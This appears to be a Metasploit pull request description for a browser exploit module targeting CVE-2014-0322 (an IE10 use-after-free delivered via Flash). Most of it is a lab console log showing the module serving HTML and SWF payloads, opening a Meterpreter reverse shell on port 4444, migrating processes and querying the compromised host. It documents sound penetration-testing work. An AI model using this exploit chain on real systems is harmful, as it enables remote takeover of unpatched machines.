Add module for CVE-2014-0322

Module for CVE-2014-0322 as exploited in the wild (Operation SnowMan in Feb 2014). All the credits go to Jean-Jamil Khalife (http://hdwsec.fr/blog/CVE-2014-0322.html) who did a nice work analyzing the flash exploit vector in his blog as used in the wild.

Verification
----------------

- [ ] Install Win 7 SP1, IE10 (prior to MS14-012!!!) and Flash 12 (ActiveX) ( tried with 12.0.0.38 and 12.0.077 successfully (first and last 12.0 versions) I hope it works with any Flash 12.0. Feedback is welcome.
- [ ] Use the exploit like in the next DEMO, hopefully you get a session if all the browser requirements are accomplished:

```
msf > use exploit/windows/browser/ms14_012_cmarkup_uaf 
msf exploit(ms14_012_cmarkup_uaf) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.136:4444 
[*] Using URL: http://0.0.0.0:8080/iBIaNfryEA
[*]  Local IP: http://10.6.0.136:8080/iBIaNfryEA
[*] Server started.
msf exploit(ms14_012_cmarkup_uaf) > [*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Gathering target information.
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Sending response HTML.
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/yKIZq/
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[!] 10.6.0.136       ms14_012_cmarkup_uaf - Exploit requirement(s) not met: mshtml_build. For more info: http://r-7.co/PVbcgx
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Gathering target information.
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Sending response HTML.
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/yKIZq/
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Sending HTML...
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/USETIN.swf
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Sending SWF...
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/USETIN.swf
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Sending SWF...
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:54180) at 2014-04-15 17:54:10 -0500
[*] Session ID 1 (10.6.0.136:4444 -> 10.6.0.136:54180) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4000
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[*] 10.6.0.136       ms14_012_cmarkup_uaf - Target with tag "HFBZljYjtsuDOgDUSBNDfbTD" wants to retry the module, not allowed.
[+] Successfully migrated to process 

msf exploit(ms14_012_cmarkup_uaf) > sessions

Active sessions
===============

  Id  Type                   Information                                     Connection
  --  ----                   -----------                                     ----------
  1   meterpreter x86/win32  WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7  10.6.0.136:4444 -> 10.6.0.136:54180 (192.168.172.134)

msf exploit(ms14_012_cmarkup_uaf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
eComputer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 1 closed.  Reason: User exit
```